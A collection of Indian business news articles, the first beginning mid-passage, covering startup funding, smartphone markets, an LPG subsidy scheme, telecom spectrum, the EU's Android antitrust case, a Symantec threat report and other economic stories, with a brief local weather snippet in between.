At the time of the funding, Kartik Srivatsa, co- founder and managing partner, Aspada Advisors, had said it would be exciting to see how the team managed to mould a workplace of the future by leveraging technology.

"The unstructured nature of recruitment as a space means there is an opportunity for disruption," he had said.

Future focus

Using the cloud for human resource services will be its focus in the near future.

While funds have been received for the purpose, experts say scaling up faster would be a challenge in a market where the unorganised workforce does not have access to the internet.

"For a company like theirs, which is online, attracting offline customers is necessary. While building physical offices in smaller towns is not feasible, they need to figure out a way to reach out to this population," says a Mumbai-based angel investor dealing with skills and personnel.

While there are many recruitment firms online, there is nobody catering particularly to blue-collar workers.

There is also an issue of gestation period as achieving break-even takes quite a long time.

However, Goel says while this is regular part of their discussions, they have accordingly structured all the allocated budgets keeping in mind the return on investment of any suggested activity or campaign.

Reaching out to the blue-collar workforce faster and being able to engage them to refer friends and acquaintances would be crucial for it to reach deeper into the market.

How quickly they are able to move from metros to Tier-II and III towns and generate value will be key to growth prospects.

FACT BOX

Founded: November 2014

Area of operations: Platform offering entry-level, blue-collar jobs

Funding: $5 million in Series-A, led by Aspada Advisors, with participation from the existing investors

Seed round of $1.5 million, led by IDG Ventures and Inventus Capital, in January 2015.

Presence: Mumbai, Pune, Delhi-NCR

EXPERT TAKE

Growth in the economy is influencing the buying power of consumers and a large population base has been facing a mismatch of labour requirement vs resource availability. Strong collaboration tools are needed to bring the blue-collar job seekers, as well as companies and SMEs together, to fulfil the need and requirements, largely controlled and monitored by unstructured contractors and petty vendors from small cities and villages.

The major challenges for hiring these skills are the availability of resources, willingness and skills to execute the job and continuity of the employment as poaching continues due to less availability vs demand of these resources. At the same time, job seekers get exploited by contractors as they hardly know whom to approach and where for jobs.

A strong authentication process of the job seekers and employment meeting the minimum payout and compliance criteria's checks will be required to increase the authenticity of the platform. The approach needs to be different, as most of these categories are still not very handy with internet-based tools and technologies. But, there is a huge potential with millions of population in this segment and it is at least 20 times bigger than the professional job market.

Sunil Goel is MD GlobalHunt.
While Xiaomi now aims to challenge Apple in the fastest-growing smartphone market in the world, the story of the two in India is surprisingly similar in many ways.

Two giants in the premium smartphones category - Apple and Samsung - now have a new challenger in India.

Xiaomi - the world's fifth largest smartphone company - on Thursday unveiled its flagship Mi5 handset, priced at Rs 24,999, with an aim to capture the fast growing premium smartphone segment.

Xiaomi is also in talks with several content developers and service providers to set up a software ecosystem in India, said Hugo Barra, vice-president, Xiaomi Global.

While Xiaomi now aims to challenge Apple in the fastest-growing smartphone market in the world, the story of the two in India is surprisingly similar in many ways.





While Xiaomi has already started manufacturing handsets at its assembly line in the Foxconn plant in Hyderabad, Apple chief executive Tim Cook recently indicated that the Cupertino-headquartered technology major was also planning to manufacture in India.



Apple iPhones have gained traction in the past two years and currently hold the top slot in the above-Rs 20,000 segment with 42 per cent market share, according to IDC.



Both are focusing on expanding their offline distribution in India since 2015 and have recently applied for permission to open company-owned retail stores in the country.

"I believe we belong to the above-Rs 20,000 ($300) category which is currently dominated by the two players (Apple and Samsung). Mi5 is aimed at gaining traction in that price segment here," Barra said.

India being a price sensitive market, this segment is quite small - only 5.7 million units were sold in above-Rs 20,000 category in 2015, just about 5 per cent of the 103 million smartphones sold in India.

This means that manufacturing premium smartphones locally may not be viable for Xiaomi.

The Chinese company currently procures a few models in India and is planning to add two assembly lines. It is currently in talks with suppliers in China to set up shops in India, Barra said.

Local manufacturing helps mobile companies in cutting down working capital.



"It takes about five weeks to procure devices from China but if we manufacture locally, that comes down to 14 to 18 days," said Manu Kumar Jain, general manager and head of India operations, Xiaomi.

The Chinese major entered India in mid-2014 and is already the second-largest player, after Lenovo, in the online sales platforms with 18 per cent market share, data provided by research firm CyberMedia Research (CMR) show.



Xiaomi started offering its smartphones through offline channels only last year through The MobileStore, Airtel stores and Redington.



Many Indian consumers still prefer to touch and feel the product before buying it.



While the company started offline distribution in southern India, it is setting up a pan-India offline distribution network, said Barra.



Xiaomi currently sells about 10 per cent of its devices offline and aims to take this to 30 per cent in the next couple of years.

However, Xiaomi is yet to implement its 'zero margin' sales system in India.



Globally, it sells most of its smartphones at manufacturing cost and generates profits through services and content, including video streaming.



This model helps Xiaomi offer its handsets at a lower price than competitors.

In India, the lack of relevant content forced Xiaomi to adopt a 'direct to retailer' model of distribution.

To cut down distribution costs, Xiaomi has appointed Redington to supply smartphones directly to retailers.

"They supply devices on a weekly basis, depending on the demand. Apart from keeping a track of the market demand, this also cuts down on inventory costs and requires less capital to run the business," Jain explained.

Apple also distributes majority of its products in India through Redington.

"Xiaomi has been able to double its shares in almost all the segments of the market which is attributed to the devices being available at the right price points," said Faisal Kawoosa, general manager, telecom & semitronics, CMR said.

GROWING RAPIDLY
The scheme provides a financial support of Rs 1,600 for each LPG connection to the BPL households.

Prime Minister Narendra Modi will on May 1 launch an ambitious Rs 8,000 crore (Rs 80 billion) scheme to provide 5 crore (50 million) free LPG connections to BPL families using the money saved from 1.13 crore (11.3 million) cooking gas users voluntarily giving up their subsidies.

Modi will launch the Pradhan Mantri Ujjwala Yojana at Ballia in Uttar Pradesh on May 1 and do a repeat function at Dahod in Gujarat on May 15.

Though 'Give-it-Up' campaign seeking the well-heeled to voluntarily surrender cooking gas subsidies for one year was launched in January, 2015, Modi on March 27 last year officially launched the programme.

"Since the launch, 1.13 crore (11.3 million) people have given-up LPG subsidies and are buying cooking gas at market price," Oil Minister Dharmendra Pradhan told reporters in New Delhi.

Maharashtra tops the list with 16.44 lakh (1.64 million) consumers giving up subsidies.

Uttar Pradesh saw nearly 13 lakh (1.3 million) users give up subsidies, followed by Delhi (726,000).

Prime Minister's home state of Gujarat was way down the list with just 420,000 giving up subsidies.

Pradhan's home state of Odisha was even lower at 130,000.

"Five states of Maharashtra, Uttar Pradesh, Delhi, Karnataka and Tamil Nadu account for roughly half of the people who have given up LPG subsidies," Pradhan said.

Consumers are currently entitled to 12 cylinders of 14.2 kg each or 34 bottles of 5 kg each in a year at subsidised rates.

A subsidised 14.2-kg cylinder is currently available at Rs 419.13 per bottle in Delhi while the 5-kg pack costs Rs 155.

Market-priced liquefied petroleum gas is available at Rs 509.50 per 14.2-kg cylinder.

Giving up subsidised LPG will help cut the government's subsidy bill, which was at Rs 30,000 crore (Rs 300 billion) on the fuel last fiscal.

Nearly Rs 5,000 crore (Rs 50 billion) of subsidy saved through the campaign is being used to provide LPG connection to the poor.

"We have released 60 lakh (6 million) new connection to poor in the last one year," he said.

Modi, Pradhan said, will on May 1 launch the Pradhan Mantri Ujjwala Yojana for providing providing free LPG connections to women from BPL households.

"Under the scheme, Rs 8,000 crore (Rs 80 billion) has been earmarked for providing 5 crore LPG connections to BPL households," he said, adding that in the first year 1.5 crore (15 million) connections will be provided.

The scheme provides a financial support of Rs 1,600 for each LPG connection to the BPL households.

The identification of eligible BPL families will be made in consultation with the State Governments and the Union Territories, he said.

Pradhan said the country currently has 16.64 crore (166.4 million) active LPG consumers.

Of the 21 million tonne LPG requirement, nearly 40 per cent is imported and this will go up as demand rises by double digit with new connections.

"We expect import ratio will rise to 50-55 per cent," he said.

Those who have decided to give up their subsidies have to buy the product at the market price.

The surrendered subsidy is used by the government to provide cooking gas connection to the poor in rural households free of cost, the official said.

On March 27, Modi had officially launched the 'Give-it-Up' campaign, urging the well-off to surrender their LPG subsidy so that it can be targeted for the needy.

The aim is also to bring down the country's dependence on energy imports by 10 per cent by 2022.

LPG subsidy is transfered to beneficiaries directly in their bank accounts in advance.

Consumers can opt out of the subsidy by submitting written request to the distributor or electronically at mylpg.in.

Pradhan said with LPG coverage being predominantly in the urban and semi-urban areas, there are serious health hazards associated with cooking based on fossil fuels.

According to WHO estimates, about 500,000 deaths in India alone due to unclean cooking fuels.

Experts say having an open fire in the kitchen is like burning 400 cigarettes an hour.

"Providing LPG connections to BPL households will ensure universal coverage of cooking gas in the country.

This measure will empower women and protect their health.

It will reduce drudgery and the time spent on cooking.

It will also provide employment for rural youth in the supply chain of cooking gas," he said.

Finance Minister Arun Jaitley had in his Budget for 2016-17 provided Rs 2000 crore (Rs 20 billion) to provide deposit free LPG connections to 1.5 crore women belonging to the Below Poverty Line families.

Further, the Budget announced that the Scheme will be continued for two more years to cover 5 crore (50 million) households.

Image: An employee of a cooking gas agency pushes a rickshaw loaded with gas cylinders in Mumba. Photograph: Rupak De Chowdhuri/Reuters
Piyush Goyal expressed hope that given the prediction of a good monsoon this year, India may see double digit growth by end of this financial year.

Wooing global investors, including private equity giants such as Blackstone and Warburg Pincus, Power Minister Piyush Goyal highlighted the initiatives taken by the government to make India more business friendly.

He assured them that the government is taking all steps that are necessary to sustain the current economic growth in India and it will continue with all major initiatives to enhance the ease of doing business.

According to the Power Ministry, he also highlighted the need of India to have low cost, long tenor finance for his ambitious renewable energy scale of and requested investors to look at India for investments and take advantage of three Ds -- democracy, demography and demand.

Goyal held meetings with the Blackstone Group Co-founder, chief executive officer and Chairman Stephen Schwarzian; Warburg Pincus' Saurabh Agarwal; New York Green Bank President Alfred Griffin; Chairman of Energy and Finance, Office of Governor of New York, Richard Kauffman and Big Belly CEO Jack Kutner on Thursday.

The minister, who also holds the portfolio of Renewable Energy and Coal, is vising the US to participate in the launch of programmes under International Solar Alliance on Friday at the United Nations.

He expressed hope that given the prediction of a good monsoon this year, India may see double digit growth by end of 2016-17 financial year itself.

Goyal briefed the business delegations and investors on various steps undertaken by the government to improve energy access, rapid scale up of renewable energy, enhancing grid reliability, integration of renewable in the grid and the massive opportunity presented by the untapped demand in the Indian market.

He outlined the steps being taken to improve the contractual/counter-party risk framework, that is critical to all investors.

He also informed about the initiatives such as greening the grid, National Solar Mission, LED programme for enhancing energy efficiency.

Speaking on the Ujwal Discom Assurance Yojana, Goyal stressed upon the steps being taken to bring a drastic change in India's power sector that can take India to double digit growth trajectory in the economy.

He also mentioned that India already has surplus power and demand stimulation through UDAY coupled with the growth in the Indian economy will quadruple electricity consumption by 2030.

Image: Power Minister Piyush Goyal is vising the US to participate in the launch of programmes under International Solar Alliance on Friday at the United Nations. Photograph: Paresh Gandhi/Rediff.com
When Japan's Yokohama Rubber announced the acquisition of Alliance Tire a few days back, it was the end of the long and successful road.

What would you do when you have to give up a business you had built over a decade?

In 2006, Yogesh Mahansaria and his father, Ashok, were ousted from Balkrishna Industries (BKT), a maker of two-wheeler tyres that later diversified into farm tyres under Yogesh and turned around.

Yogesh padded up for a second innings, and was clear about two things.

He wanted to build a global business and in the off-highway tyres sector - a business in which he saw good potential.



Executives at private equity (PE) firm Warburg Pincus were aware of Mahansaria's work at the BKT and were willing to back him.

Off-highway - or off the road - tyres are those used for vehicles not usually used for transport, such as tractors and trailers.

An opportunity came his way when Alliance Tire, an Israel-based maker of off-highway tyres, was put on the block.



Alliance was a role model and its business similar to what Mahansaria had developed for the BKT.



It exported tyres to Europe and the US, but unlike India, manufacturing in Israel was no longer low-cost.

The Israeli company had reported a loss of $7 million in 2006, while its promoter, Fishman Holdings, reportedly lost $400 million after the Turkish lira plunged 20 per cent that year.

Ten years later, Japan's Yokohama Rubber bought Alliance Tire for $1.18 billion.

Alliance made a lot of sense: it made tyres for agriculture, construction, forestry segments for the $9-billion market of off-highway tyres, which includes verticals such as ports, aviation and mining tyres.

Alliance provided instant access to products, brands and markets - a platform which could be grown.



After their initial bid for Alliance was seen as low and rejected in mid-2006, Warburg and Mahansaria bid again and won it for $48 million, plus $100 million of its debt.



The duo shifted production of low-margin, high-volume products to new plants in India, while the Israel plant focused on high-margin products.

Even as Alliance was being nursed back to health, another opportunity came knocking on its doors in 2008: GPX International, a manufacturer of off-highway tyres, was in trouble after the US authorities had slapped a 44 per cent anti-dumping duty on imports from its Chinese plant.

The CEO of GPX, who had worked for Warburg Pincus, approached the PE firm.

Mahansaria was familiar with GPX and its promoters, and the deal would give Alliance a strong presence in the US in forestry and construction segments.

Yet, he was not sure about the deal when the world was hit by the 2008 financial crisis.

Warburg pushed for the deal as it saw a good opportunity.

In October 2009, GPX filed for Chapter 11, with Alliance Tire as the stalking-horse bidder for its US operations. (A stalking-horse bidder is an initial bid on a bankrupt company's assets from an interested buyer chosen by the company itself.)

The bankruptcy court asked GPX to get competitive bids. Titan International, the largest manufacturer of off-highway tyres in the US, also bid.



Interestingly, Titan's CEO "Morry" Taylor Jr - a former Republican Presidential candidate lobbying for anti-dumping duties against GPX - had led to its failure.

Thanks to some quick on-the-feet decision-making by Mahansaria and alignment with Warburg, Alliance won GPX for $54 million - Taylor thought Alliance overpaid for the asset. Mahansaria was happy as he bought platforms and created the Alliance Tire Group, which by 2011 had started to come together.

In April 2013, KKR bought out Warburg Pincus' 80 per cent in Alliance Tire Group and 10 per cent from the Mahansaria family for an estimated equity value of $522 million and an enterprise value of $650 million, which included around $125 million of debt on Alliance Tire's balance sheet.

The deal value, though, was never disclosed.

When contacted, KKR, Warburg, and Mahansaria declined to comment.

Last week, Japan's Yokohama Rubber bought Alliance Tire for $1.18 million - 90 per cent from KKR and 10 per cent from the Mahansaria family - to expand its commercial tyres business.

Alliance had operating profits of $95 million on sales of $529 million last year.

CREATING VALUE

When Japan's Yokohama Rubber announced the acquisition of Alliance Tire a few days back, it was the end of the long and successful road.
The IIT-Madras alumnus, Prem Watsa, who moved to Canada for an MBA programme and settled there, is not new to investing in India.

Image: Prem Watsas track record is rather impressive. Photograph: Reuters

The first annual report of Fairfax India Holding Corporation, listed on the Toronto Stock Exchange, published this month, could be easily mistaken for a report card on the Narendra Modi-led government.

Prem Watsa, the chairman of the Canadian investment firm, counts as many as 30 achievements of the Indian prime minister.



Among them are his efforts to crack down on crony capitalism, financial turnaround of state power distribution companies and his pet projects, including smart cities and Make in India.

The chairmans letter does not end with this eulogy aloneit moves on to predict the future of the Modi government as well.

We think Mr Modi can transform India, particularly if he gets re-elected for two more terms, as we think he will, says Watsa in his letter to shareholders.

He has an excellent track record, is incorruptible and is business friendly. We expect Mr Modi to be the Lee Kuan Yew of India, he adds.

Though it is quite unusual to find all this in the chairmans letter to shareholders, it is not quite unexpected.

Watsa formed Fairfax India Holding Corporation following his meeting with Modi in November 2014.

Modi was on a state visit to Canada then to garner foreign investment.

Watsa responded to his India Calling appeal by raising $1.1 billion by listing this company on the Toronto Stock Exchange in January 2015.

He promised to primarily invest this amount in India in a couple of years.

With Fairfax India along with Fairfax Financial buying a 33 per cent stake in Bangalore International Airport for Rs 2,149 crore from GVK Power and Infrastructure this week, Watsa is quite on track to fulfilling his promise.

Last year, he made three investments from this India-specific fund. This includes additional 26 per cent stake in India Infoline for Rs 1,621 crore and a 74 per cent stake in National Collateral Management Services for Rs 800 crore, besides a small investment of about Rs 160 crore in specialty chemical company, Adi Finechem.

To be sure, the Hyderabad-born 66-year-old promoter of Fairfax Financial Holdings is not a regular Modi bhakt.

He is known as the Canadian Buffett because of his contrarian approach to investment.

His track record is rather impressive: his flagship investment arm has seen its book value grow 20.4 per cent every year over the past 30 years.

This is against a 16 per cent growth in book value of Warren Buffetts Berkshire Hathaway in the last 28 years, for which data is available.

The IIT-Madras alumnus, who moved to Canada for an MBA programme and settled there, is not new to investing in India.

He first acquired a 26 per cent stake in general insurance company, ICICI Lombard, in 2001 through Hamblin Watsa Investment Counsel Fund.

He also served as a director on the board of ICICI Bank from 2004 to 2011.

He made his second investment after almost a decade in 2011 when he first bought a 9 per cent stake in brokerage firm IIFL in 2011.

A year later in 2012, he acquired 77 per cent stake in Thomas Cook India. In 2013, he was also in the race to buy Blackberry, but he failed to raise money for the deal eventually.

The meeting with Modi in 2014, however, turned things around for Watasa. He is now firing on all cylinders in India with flagship Fairfax Holding.

Industry insiders attribute Watsas success to his ability to raise money through share capital instead of a fund that pools money from a limited number of partners.

This saves him from regular redemption pressure and allows him to think long-term. No wonder, then, he can dream of two more terms for Modi.
Steve Case's book is filled with insightful scenes that describe how the modern online industry was put together, notes Ajit Balakrishnan.

Image: Steve Case was in the middle of the action in the early 1990s when companies like Apple and Microsoft were being formed.

THE THIRD WAVE

An Entrepreneur's Vision of the Future

Steve Case

Simon & Schuster

240 pages; Rs 499

"I met Jobs to discuss the music business about a year before he launched the iPod," writes Steve Case in his latest book, The Third Wave.



"The two of us sat in a dark corner of a quiet San Francisco sushi restaurant, hoping that nobody would recognise us."



He then goes on to recount how Jobs solved the problem of getting enough music companies to put their content on the iTunes website that supported the iPod.



"He approached the music companies and told them not to worry, that iTunes only worked with Macintosh, which at the time had a meagre two per cent market share. Apple pitched iTunes as a risk-free laboratory for the record labels, the opportunity for the industry to test a different model - a model other than litigating piracy.Had Jobs been more frank about his ambition - that he was aiming for a billion users - he likely wouldn't have gotten the licenses".

Mr Case's book is filled with such insightful scenes that describe how the modern online industry was put together.



The iPod case illustrates one of his theories about success as a start-up - that forging partnerships with key players in the ecosystem is the critical to success.



In other words, however brilliant a piece of hardware the iPod was, without the range of music on its companion website, iTunes, it would have perished.



And making the music available meant persuading the established music industry giants that the iPod would not only be not a threat but would help them sell more music.

Mr Case was in the middle of the action in the early 1990s when companies like Apple and Microsoft were being formed.



He was the founder of America Online (AOL), an early provider of online services years before Google and Facebook and such others were born.



His master coup was when he engineered in January 2000, at the peak of the dotcom mania, a merger between his AOL and the media colossus Time Warner.



Wall Street analysts went into high-gear enthusiasm about this deal: Time Warner would get access to the tens of millions of AOL's online subscribers and AOL, in turn, would get access not only to the enormous array of content that the Time Warner media empire had, plus access to their cable network.



All they needed to do was the simple task of adding the appropriate "user-interface" layer that would blend the two company's offerings.



Unfortunately, in less than six months after this giant merger, the dotcom bubble burst, the US economy dived into a recession, advertising dollars completely evaporated and AOL was forced to take a goodwill write-off of nearly $99 billion, an astonishing sum even by the dreadful standards of that period.

In his accounting, the period that led up to the merger of his company AOL with Time Warner was the First Wave of the internet.

In that period the companies which achieved success were those that built the hardware, software and networks that made up the pipes that made it possible to access the internet. There was CISCO, which built the routers, boxes that connected different networks that carried internet traffic.

Then there was Microsoft whose Windows software made it possible for us to interact with our personal computers. Finally, there were the telecom companies, literally hundreds of them, who owned the wires that carried internet traffic from our PCs to websites that we all flocked to.

This First Wave, says Mr Case, was followed by hundreds if not thousands of companies that made up the Second Wave.

There were search engines by the dozens of which Google emerged as a winner in the English-speaking world, at least.

These helped us all negotiate through the tens of thousands of websites that had by then emerged. Then came the Shopping Sites, again tens of thousands of them, of which companies like Amazon (in the United States), Alibaba (China) and Rakuten (Japan) emerged as leaders. Finally there were myriad social networking sites of which Facebook emerged a winner.

This era also saw the emergence of innovative devices like the iPhone and Android, which by today has eclipsed the previously ubiquitous personal computer.

Mr Case says that this Second Wave phase is about to end. The Third Wave, he predicts, is an era when "internet-enabled" will start to sound as ludicrous as the term "electricity-enabled".

Entrepreneurs and companies of this Third Wave will have to attack different problems and solve them differently from the earlier two waves if they have to succeed.

For instance, he believes that the top three industries that will come under attack in the Third Wave are healthcare (fitness trackers are early examples), education ("an online marketplace where teachers can buy and sell lesson plans") and food ("imagine an oven that refuses to cook questionable meat").

His book has many examples of Third Wave companies and their strategies.

His ultimate tip to entrepreneurs in the Third Wave: "let's worry a little less about out net worth and a little more about our net impact".

The reviewer is the author of The Wave Rider, a Chronicle of the Information Age. You can mail him at ajitb@rediffmail.com
The Union Cabinet has cleared liberalisation of spectrum -- allocated without auction to telecom companies -- at Trai recommended price with the balance being collected after deriving market rate through bidding.

The Cabinet decision taken on Wednesday will enable Reliance Communications to liberalise its spectrum in four telecom circles, where auction determined price is not available, for Rs 1,300 crore (Rs 13 billion).

A liberalised spectrum allows telecom operators to use any technology to deliver mobile services like 3G and 4G.

Besides, they will be able to introduce new technologies and share and trade it with other operators for its efficient use.

"The meaning of this Cabinet decision is that wherever administratively allocated spectrum is available, whose liberalisation is sought and whose market determined price is not available, then in that case Trai's recommendation on auction for price shall be taken as provisional standard and after actual auction, the balance will be taken," Telecom Minister Ravi Shankar Prasad said on Wednesday.

Earlier, telecom firms were given 4.4 MHz spectrum alongwith licence for Rs 1,658 crore (Rs 16.58 billion) for pan-India operations and later they were entitled to get another 1.8 MHz on Wednesday fulfilment of certain subscriber-based criteria. Some telecom operators were allocated even more spectrum after qualifying some criteria without auction.

Spectrum allocated in this manner could be used only to provide service as allowed in the licence.

The previous government had decided that the operators should pay for holding spectrum above 6.2 MHz retrospectively, from July 2008 to January 1, 2013.

After that, for spectrum above 4.4 MHz, they would have to pay for the remaining period of their licences based on auction held in November 2012.

Prasad said the Cabinet had earlier decided that liberalisation of spectrum will be done on the basis of market determined price.

"It was found that in 800 Mhz spectrum band, market price was not available in many states. Like in some places it was not available for sale and in some it was not sold (in

auction). There was a view that such question can arise in case of other spectrum band as well," he said.

Prasad said that the government sought recommendations of Telecom Regulatory Authority of India on this issue.

Trai suggested that government can provisionally liberalise spectrum on price suggested by it for auction and take undertaking from companies that it will adjust rest of the price when actual auction takes place.

"Since the Cabinet decided to liberalise spectrum on market determined price. So we sought this convenience from Cabinet that in future if such situation arises then we act as per recommendation of Trai so that we need not approach Cabinet time and again," Prasad said.

"Based on the recommendations of Trai, a sum of Rs 1,300 crore (Rs 13 billion) likely to accrue by this process," a government spokesperson tweeted.

RCom had applied for liberalising its 800 MHz spectrum in 20 circles a few months back.

The company had already paid Rs 5,383.84 crore (Rs 53.83 billion) as spectrum liberalisation fee for 16 telecom circles.

Inter-ministerial panel Telecom Commission has backed liberalisation of 800 MHz spectrum in circles where a market-determined price is not available.

The four RCom circles are -- Kerala, Karnataka, Rajasthan and Tamil Nadu -- where a market determined price was not available in the 800 MHz band.

The Cabinet approval allow RCom to liberalise its spectrum in the four circles by paying about Rs 1,300 crore (Rs 13 billion).

As per previous decision, DoT had issued demand notice to telecom operators on January 9,2013.

The government expected to get Rs 4,251.83 crore (Rs 42.51 billion) from retrospective charges, and Rs 18,925.82 crore (Rs 1,89.25 billion) from prospective charges for excess radio waves held by mobile operators at that time.

In all, about Rs 23,177 crore (Rs 231.77 billion) was expected from levy of

one-time spectrum fee in 2013.

State-owned BSNL was issued demand of around Rs 6,912 crore (Rs 69.12 billion), followed by Bharti Airtel Rs 5,201 crore (Rs 52.01 billion), Vodafone Rs

3,599 crore (Rs 35.99 billion), MTNL Rs 3,205 crore (Rs 32.05 billion), Idea Cellular Rs 2,113 crore 0r Rs 21.13 billion (includes Rs 231.5 crore or Rs 2.31 billion of Spice), Aircel Rs 1,365 crore or Rs 13.65 billion

(includes Rs 14 crore of Dishnet), Loop Mobile Rs 606 crore (Rs 6.06 billion)

and Reliance Communications Rs 173 crore (Rs 1.73 billion) for liberalisation.

The government has also given option to telecom operators, who are not willing to pay the one-time fee to surrender their additional and excess spectrum.

However, telecom operators have challenged the decision and is still sub-judice.

Image: A child plays with a mobile handset. Photograph: Reuters

The image is used for representational purpose only
Nacogdoches, TX (75965)

Today

Partly cloudy skies early will give way to cloudy skies late. Low 66F. Winds SSE at 10 to 15 mph..

Tonight

Partly cloudy skies early will give way to cloudy skies late. Low 66F. Winds SSE at 10 to 15 mph.
EU says Google unfairly pushes own apps with Android

The European Union charged Google on Wednesday with abusing the dominant position of its Android mobile operating system, opening a second front against the US technology giant that could lead to large fines.

European Union antitrust regulators said that by requiring mobile phone manufacturers to pre-install Google Search and the Google Chrome browser, the US company was denying consumers a wider choice of mobile apps and stifling innovation.

Google is already facing EU charges over the promotion of its shopping service in Internet searches at the expense of rival services, in a case that has dragged on since late 2010 despite three attempts to resolve the issues.

The stakes are higher for Google in the Android case as it made about $11 billion last year from advertising sales on Android phones through its apps such as Maps, Search and Gmail, according to estimates by financial analyst Richard Windsor.

"A competitive mobile Internet sector is increasingly important for consumers and businesses in Europe," European Competition Commissioner Margrethe Vestager said in a statement.

"We believe that Google's behaviour denies consumers a wider choice of mobile apps and services and stands in the way of innovation by other players," she said.

Internet Explorer-browser maker Microsoft Corp declined to comment.

Suppliers of browsers including Mozilla, which is behind Firefox, as well as Apple, with its Safari browser, and Norway's Opera Software were not immediately available to comment.

The European Commission said about 80 per cent of smart mobile devices in Europe and the world run on Android, the operating system developed by Google.

Google, which has 12 weeks to respond to the charges, said in a statement that Android was a remarkable system based on open-source software and open innovation.

"We look forward to working with the European Commission to demonstrate that Android is good for competition and good for consumers," Google's general counsel Kent Walker said.

FairSearch, the lead complainant, said Google had launched Android as an open source project, but was now hindering the development of versions that might lead to new operating systems able to compete with Android.

The Commission alleges Google has breached EU antitrust rules by making phone manufacturers pre-install its search function and Chrome browser, and by preventing them from selling mobiles running competing operating systems based on the Android open source code.

The EU also charged the U.S company with giving financial incentives to manufacturers and network operators to pre-install Google Search exclusively on devices.

Additional reporting by Eric Auchard
India was the most targeted country in Asia and second in the world.

India witnessed an increase of 156 per cent in social media scams with every sixth scam globally impacting an Indian, security software firm Symantec has said.

According to Symantec's Internet Security Threat Report, India was the most targeted country in Asia and second in the world.

"A whopping 94 per cent of these scams were spread through manual sharing, proving India's burgeoning social media population remains a favoured target of scammers," Tarun Kaura, director, Solution Product Management, Asia Pacific and Japan (APJ), Symantec told PTI.

Scammers are using social media to leverage the trust people have in their own social circles to spread scams, fake links and phishing, he added.

According to the report, India ranked third globally (3.4 per cent) and second in the APJ region as source of overall malicious activity, after China (23.7 per cent) and the US (18.9 per cent).

"India was once considered the spam capital of the world, India has seen a steady decrease in the amount of spams originating from its borders. After ranking 6th in 2014, India now ranks 18th as a source of spam," he said. However, it continues to rank as the third top source of overall malicious activity including spam, malware, phishing hosts and bots, etc.

Year 2015 also saw Indian organisations becoming the sixth most targeted in the APJ region as targeted firms received an average of two attacks.

Public utilities and financial sector organisations, that were targeted once, were most likely to be targeted again at least two times more throughout the year.

Mining was the highest risk prone sector, where one out of two companies was attacked at least once last year, the report said.

Also, 40 per cent of BFSI businesses were also attacked at least once, it added.

"Advanced criminal attack groups now have the skill sets of nation-state attackers. They have extensive resources and a highly-skilled technical staff that operates with such efficiency that they maintain normal business hours and even take the weekends and holidays off," Kaura said.

He added even low-level criminal attackers are expanding operations to increase the impact of their scams.
With a Budget outlay of Rs 500 crore (Rs 5 billion), the government would soon start the tendering process of allocating rural business process outsourcing centres, sources in the know said. These rural BPOs are expected to start by June 2017.



According to officials, around 190 new BPOs with a combined seating capacity of 125,000 employees (per shift) would come up in the rural areas.



The rural BPO initiative is a flagship programme of the government under the Digital India scheme. India BPO Promotion Scheme to incentivise setting up of BPO/ITeS (IT-enabled services) operations across the country, particularly in digitally deficit areas, for creating employment opportunities via information technology and balanced growth of IT/ITeS sector in each state, said a senior official.



Telecom Minister Ravi Shankar Prasad recently said the government had approved IBPS for promoting of BPO/ITeS operations across the country with an outlay of Rs 493 crore (Rs 4.39 billion).



According to a Nasscom report, Ahmedabad, Kochi, Kolkata and Jaipur along with Bhubaneswar, Kochi, Visakhapatnam, Thiruvananthapuram, Chandigarh and Indore are fast emerging as new destinations for business process management, another name for BPO.



These cities have made their way to the BPM sector map owing to their excellent infrastructure, including cheaper real estate, cost competitiveness, availability of talent and conducive business environment, it said.



The BPM sector is now $23.3 billion, up from $3.2 billion a decade ago.

It employs 956,000 people, of which around 186,000 have been added over the past four years, according to Nasscom.



Seven states, including West Bengal, Odisha and Himachal Pradesh, have proposed their own model for setting up broadband networks under the Centres ambitious National Optical Fibre Network project.



Government officials said other than Gujarat, Odisha and West Bengal, a chunk of call centres would come up in Assam, Manipur and Tripura.



A major part of this scheme will help generate more jobs in the northeastern region. In the first phase itself, around 30,000 new jobs would be created, the official added.

Image: Employees at a call centre provide service support to customers in Siliguri. Photograph: Rupak De Chowdhuri/Reuters. The image is used for representational purpose only.


In 2015, as many as 15 major Chinese smartphone brands stepped into India. No new Indian smartphone brand captured the eyeballs

Increasing activity by Chinese telecom handset makers and new entrants from that country are putting pressure on the market share of homegrown companies.

In 2015, as many as 15 major Chinese smartphone brands stepped into India.

No new Indian smartphone brand had captured the eyeballs.

During the period, Chinese smartphone majors such as Xiaomi, Vivo, Oppo, Huawei and LeEco, among others, have not only strengthened their operations and increased sales in the local market but managed to establish their brands, analysts observed.

Chinese companies are now focusing on providing user experience in terms of dedicated video and audio content, and utility applications, deviating from their conventional focus on superior hardware features.

The efforts paid off for these companies and have resulted in a shrink in market share of their Indian peers, put together.

During 2015, Chinese smartphone vendors increased their market share in India to 22 per cent, compared to 15 per cent at the end of 2014.

And, the market share held by homegrown brands was down to 38 per cent in December 2015 from 43 per cent a year before, shows data from International Data Corporation.

According to Faisal Kawoosa, general manager, telecom and semitronics, CyberMedia Research, says Chinese companies also benefitted as they successfully managed to get rid of the cheap tag that was earlier associated with products made there. New Chinese brands entering India have positive impact on the growing market share as well, he said.

Chinese brands rose significantly on the smartphone experience curve in terms of hardware design, and software and UI (user interface) integration.

Further, these brands have been very aggressive in terms of their device launches and capturing the trends, said Tarun Pathak, senior analyst, mobile devices and eco-systems, Counterpoint Research.

Apart from pro-active steps that the Chinese companies are taking to raise share in the Indian market as the pace of economic growth slows in their homeland, the inabilities of various Indian companies have cost the latter.

Major Indian smartphone makers, however, say they are more inclined to a steady profit growth and margins, rather than running after market share.

Shashin Devsare, executive director, Karbonn Mobiles, which focuses on the below-Rs 7,000 price segment, feels Indian consumers have become less loyal to brands.

Market shares which are solely based on shipment numbers are not a true representation of growth and business financials, he added.

Lava smartphone sales grew 55 per cent by volume in 2015.

We registered more than 100 per cent growth in 2014-15 over 2013-14 and have achieved revenues of Rs 7,000 crore (Rs 70 billion) in 2014-15, becoming one of the leading players in the mobile handset industry, said Navin Chawla, chief operating officer, Lava International.

Kawoosa says the shrinking market share of Micromax, largest among Indian handset firms, had a negative impact on the total market share.

The share of Micromax between December 2014 and December 2015 went from 18 per cent to 14.1 per cent.

Micromax and Intex declined to comment for the story.

Indian brands which mostly targeted the value and mass segments (Rs 10,000 and below) are under pressure from Chinese peers like Lenovo.

